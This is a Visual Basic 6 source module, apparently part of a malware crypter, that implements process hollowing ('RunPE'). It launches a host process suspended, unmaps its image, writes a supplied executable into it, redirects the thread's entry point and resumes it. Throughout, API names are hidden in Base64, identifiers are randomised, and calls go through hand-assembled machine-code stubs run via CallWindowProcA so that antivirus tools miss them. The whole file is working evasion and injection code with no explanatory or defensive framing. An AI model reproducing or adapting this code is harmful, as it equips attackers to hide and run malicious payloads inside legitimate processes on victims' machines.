Option Explicit
Private Const gYZX3vDL_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal juEr3XY As String) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal XK37a1u3E As Long, ByVal xDji3Nj As String) As Long
Private Declare Function CallWindowProcA Lib "user32" (ByVal YMyvnJG7x As Long, ByVal jepBv4mJ7una As Long, ByVal OQqFEY25Vp As Long, ByVal KZfsR7RB7yx4 As Long, ByVal YcyvWmP As Long) As Long
Public Declare Sub RtlMoveMemory Lib "kernel32" (xz1Vuw9xDNAc As Any, FYedwBEuYg As Any, ByVal L As Long)
Private Declare Function zW3ZcxyXZ Lib "kernel32" Alias "OutputDebugStringA" (ByVal gOKpF9aGQ5 As String) As Long
Private Declare Function NtWriteVirtualMemory Lib "ntdll.dll" (ByVal POG2I9Q3a5jD As Long, ZiV2pzmYST As Any, fZi6a0t2 As Any, ByVal PuGml66DN2A As Long, cxTPhXahcqKM As Long) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal XKReobN As String, ByVal WjPyRVYPiRs As String, ByVal hvbaVFbCR As Long, ByVal h81njLbELGU As Long, ByVal eDWiG3XKmwxv As Long, ByVal RGKOE7qh As Long, ByVal hkJZKu0rq As Long, ByVal X3WieF5zplz As Long, Usu7vBLy As i14t16nzY, vnXdcvzDtWf As yfzjnSoB) As Long
Private Type oIRrGFZ
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Type i14t16nzY
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type yfzjnSoB
POG2I9Q3a5jD As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type
Private Type zYcxOeZaCw5
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type
Private Type gYZX3vDL
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As zYcxOeZaCw5
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type
Private Type FASJq58w4
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type
Private Type W4et1oZsNiO
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type
Private Type nCxL5nw
VirtualAddress As Long
Size As Long
End Type
Private Type LBY8Vxrsqwem
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As nCxL5nw
End Type
Private Type ANgPqn2Oc
Signature As Long
FileHeader As W4et1oZsNiO
OptionalHeader As LBY8Vxrsqwem
End Type
Private Type bXuETqOpSds
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type
Sub Injec(ByVal sHost As String, ByRef fZi6a0t2() As Byte, parameter As String)
Dim i As Long
Dim Pidh As FASJq58w4
Dim Pinh As ANgPqn2Oc
Dim Pish As bXuETqOpSds
Dim Si As i14t16nzY
Dim Pi As yfzjnSoB
Dim Ctx As gYZX3vDL
Si.cb = Len(Si)
RtlMoveMemory Pidh, fZi6a0t2(0), 64
RtlMoveMemory Pinh, fZi6a0t2(Pidh.e_lfanew), 248
CreateProcessA sHost, oofIhSPugEti("IA==") & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
welISFhbcagY oofIhSPugEti("bnRkbGw="), oofIhSPugEti("TnRVbm1hcFZpZXdPZlNlY3Rpb24="), Pi.POG2I9Q3a5jD, Pinh.OptionalHeader.ImageBase
welISFhbcagY oofIhSPugEti("a2VybmVsMzI="), oofIhSPugEti("VmlydHVhbEFsbG9jRXg="), Pi.POG2I9Q3a5jD, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
NtWriteVirtualMemory Pi.POG2I9Q3a5jD, ByVal Pinh.OptionalHeader.ImageBase, fZi6a0t2(0), Pinh.OptionalHeader.SizeOfHeaders, 0
For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, fZi6a0t2(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
NtWriteVirtualMemory Pi.POG2I9Q3a5jD, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, fZi6a0t2(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i
Ctx.ContextFlags = gYZX3vDL_FULL
welISFhbcagY oofIhSPugEti("a2VybmVsMzI="), oofIhSPugEti("R2V0VGhyZWFkQ29udGV4dA=="), Pi.hThread, VarPtr(Ctx)
NtWriteVirtualMemory Pi.POG2I9Q3a5jD, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
welISFhbcagY oofIhSPugEti("a2VybmVsMzI="), oofIhSPugEti("U2V0VGhyZWFkQ29udGV4dA=="), Pi.hThread, VarPtr(Ctx)
welISFhbcagY oofIhSPugEti("a2VybmVsMzI="), oofIhSPugEti("UmVzdW1lVGhyZWFk"), Pi.hThread
End Sub
Public Function ExE() As String
Dim lRet As Long
Dim fZi6a0t2(255) As Byte
lRet = welISFhbcagY(oofIhSPugEti("a2VybmVsMzI="), oofIhSPugEti("R2V0TW9kdWxlRmlsZU5hbWVB"), App.hInstance, VarPtr(fZi6a0t2(0)), 256)
ExE = Left$(StrConv(fZi6a0t2, vbUnicode), lRet)
End Function
Public Function qOaQhYbidrL3(ByVal sStr As String) As Byte()
Dim i As Long
Dim Buffer() As Byte
ReDim Buffer(Len(sStr) - 1)
For i = 1 To Len(sStr)
Buffer(i - 1) = Asc(Mid$(sStr, i, 1))
Next i
qOaQhYbidrL3 = Buffer
End Function
Private Function welISFhbcagY(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
Dim lPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim i As Long
Dim lMod As Long
 
lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function
 
lPtr = VarPtr(bvASM(0))
RtlMoveMemory ByVal lPtr, CLng("&H59595958"), CLng("&H4"): lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, CLng("&H5059"), CLng("&H2"): lPtr = lPtr + 2
For i = UBound(Params) To 0 Step -1
RtlMoveMemory ByVal lPtr, CLng("&H68"), CLng("&H1"): lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, CLng(Params(i)), CLng("&H4"): lPtr = lPtr + 4
Next
RtlMoveMemory ByVal lPtr, CLng("&HE8"), CLng("&H1"): lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, CLng("&H4"): lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, CLng("&HC3"), CLng("&H1"): lPtr = lPtr + 1
welISFhbcagY = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
End Function
 
 
Public Function oofIhSPugEti(sString As String) As String
 
   Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
   Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
   Dim lTemp As Long
 
   sString = Replace(sString, vbCr, vbNullString)
   sString = Replace(sString, vbLf, vbNullString)
 
   lTemp = Len(sString) Mod 4
   If lTemp Then Exit Function
 
 
   If InStrRev(sString, "==") Then
       iPad = 2
   ElseIf InStrRev(sString, "=") Then
       iPad = 1
   End If
 
   For lTemp = 0 To 255
       Select Case lTemp
           Case 65 To 90
               bTrans(lTemp) = lTemp - 65
           Case 97 To 122
               bTrans(lTemp) = lTemp - 71
           Case 48 To 57
               bTrans(lTemp) = lTemp + 4
           Case 43
               bTrans(lTemp) = 62
           Case 47
               bTrans(lTemp) = 63
       End Select
   Next lTemp
 
   For lTemp = 0 To 63
       lPowers6(lTemp) = lTemp * 64
       lPowers12(lTemp) = lTemp * 4096
       lPowers18(lTemp) = lTemp * 262144
   Next lTemp
 
   bIn = StrConv(sString, vbFromUnicode)
   ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)
 
   For lChar = 0 To UBound(bIn) Step 4
       lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + _
               lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3))
       lTemp = lQuad And 16711680
       bOut(lPos) = lTemp \ 65536
       lTemp = lQuad And 65280
       bOut(lPos + 1) = lTemp \ 256
       bOut(lPos + 2) = lQuad And 255
       lPos = lPos + 3
   Next lChar
 
   sOut = StrConv(bOut, vbUnicode)
   If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
   oofIhSPugEti = sOut
 
End Function